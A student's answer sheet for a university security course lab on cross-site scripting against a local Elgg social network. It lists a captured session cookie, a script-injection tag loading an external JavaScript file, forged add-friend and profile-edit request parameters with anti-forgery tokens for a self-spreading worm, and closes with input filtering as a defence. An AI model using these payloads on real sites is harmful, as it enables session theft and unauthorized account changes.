Elijah Andrushenko

11/26/2018

CPTS 427

Computer Security

Project 4

1.

Elgg = 6n89a40iduskfgecnul0jmifd7

2.

<script src=http://127.0.0.1/lab5\_xss.js></script>

3.

<http://www.xsslabelgg.com/action/friends/add?friend=44&__elgg_ts=1543086391&__elgg_token=TwvecjTjpBJ67FiH5byEWQ>

4.

friend – Which user is being added

ts – Timestamp, when was the user was added

token – grant permission to add if the token is correct, essentially a security measure

5.

ADDFRIENDPAGE = <http://xsslabelgg.com/action/friends/add>

VARIABLES = “friend=”+elgg.page\_owner.guid+”&\_\_elgg\_ts=”elgg.security.token.\_\_elgg\_ts+”&\_\_elgg\_token”+elgg.security.token.\_\_elgg\_token;

6.

PROFILEUPDATEPAGE = <http://xsslabelgg.com/action/profile/edit>

HTTPPOSTVARIABLES = \_\_elgg\_ts, \_\_elgg\_token, name, description, accesslevel[description], briefdescription, accesslevel[briefdescription], location, accesslevel[location], interests, accesslevel[interests], skills, accesslevel[skills], contactemail, accesslevel[contactemail], phone, accesslevel[phone], mobile, accesslevel[mobile], website, accesslevel[website], twitter, accesslevel[twitter], guid.

7.

Elgg.security.token.\_\_elgg\_ts

Elgg.security.token.\_\_elgg\_token

Elgg.page\_owner.name

Elgg.page\_owner.guid

8.

Escape(http://127.0.0.1/lab5\_xss.js)

9.

See the JavaScript file in this folder

10.

One solution would be, filtering user input and excluding evil JavaScript. Another solution would be to treat all text as a string rather than reading in the JavaScript tags.